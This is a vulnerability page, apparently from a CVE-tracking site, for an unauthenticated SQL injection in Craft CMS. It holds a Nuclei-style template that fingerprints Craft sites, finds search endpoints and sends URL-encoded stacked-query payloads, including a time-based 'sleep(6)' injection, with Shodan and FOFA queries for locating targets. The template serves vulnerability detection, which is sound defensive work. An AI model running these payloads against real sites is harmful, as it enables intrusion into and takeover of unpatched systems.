CVE-2026-123488: Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection

2026-11-12 PoC Public

Description

Craft CMS < 4.18.9, < 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication.

Details

CVE
CVE-2026-123488 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-123488

info:
  name: Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Craft CMS < 4.18.9, < 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication.
  impact: |
    Remote attackers can read and modify the database, including setting admin flags or overwriting password hashes, leading to full administrator access.
  remediation: |
    Upgrade to Craft CMS 4.18.9 or 5.11.2 or later.
  reference:
    - https://github.com/craftcms/cms/security/advisories/GHSA-qcvp-ggx3-97r6
    - https://github.com/craftcms/cms/compare/4.18.8...4.18.9
    - https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab
    - https://www.vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-sql-injection-via-element-search-endpoint
    - https://nvd.nist.gov/vuln/detail/CVE-2026-123488
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-123488
    epss-score: 0.00476
    epss-percentile: 0.41429
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: craftcms
    product: craft_cms
    shodan-query: http.html:"Craft CMS"
    fofa-query: 'header="X-Powered-By: Craft CMS"'
  tags: cve,cve2026,craftcms,craft,sqli,unauth,time-based,vkev

variables:
  err: "x%27"
  inj: "x%27%29%29%3B%20select%20sleep%286%29%3B%20%23"

flow: |
  (function () {
  if (!http(1)) { return; }

  let paths = ["/search", "/results", "/site-search"];

  let found = template.formact;
  if (found !== undefined && found !== null) {
    if (!Array.isArray(found)) { found = [found]; }
    let extra = [];
    for (let i = 0; i < found.length && extra.length < 2; i++) {
      let a = String(found[i]);
      if (a.indexOf("//") !== -1 || a.length > 60 || a.charAt(0) !== "/") { continue; }
      if (paths.indexOf(a) !== -1) { continue; }
      extra.push(a);
    }
    paths = extra.concat(paths);
  }

  for (let i = 0; i < paths.length && i < 5; i++) {
    set("sp", paths[i]);
    set("sep", paths[i].indexOf("?") === -1 ? "?" : "&");

    // a broken quote must reach SQL and 500; a dead path answers 404 and costs nothing more
    if (!http(2)) { continue; }

    // only then pay for the stacked sleep, which is what proves the impact
    if (http(3)) { return; }
  }
  })();

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(header), "x-powered-by: craft cms", "craft_csrf_token")'
        internal: true

    extractors:
      - type: regex
        name: formact
        part: body
        group: 1
        internal: true
        regex:
          - '<form[^>]*action="(/[^"]*(?:search|result)[^"]*)"'

  - raw:
      - |
        GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{err}}&query%5Bquery%5D=a&query%5Battribute%5D={{err}}&search%5Bquery%5D=a&search%5Battribute%5D={{err}}&s%5Bquery%5D=a&s%5Battribute%5D={{err}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{err}}&term%5Bquery%5D=a&term%5Battribute%5D={{err}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{inj}}&query%5Bquery%5D=a&query%5Battribute%5D={{inj}}&search%5Bquery%5D=a&search%5Battribute%5D={{inj}}&s%5Bquery%5D=a&s%5Battribute%5D={{inj}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{inj}}&term%5Bquery%5D=a&term%5Battribute%5D={{inj}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration >= 6'
        condition: and
# digest: 4b0a00483046022100bb449d39bd5a0027e893e841f797b2821cb5e9e4b5f61ba371eafaf62d623b91022100fa5775770fcf7d9b2942d156076c189998a77036219b8adb3af321b29ec2cc45:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life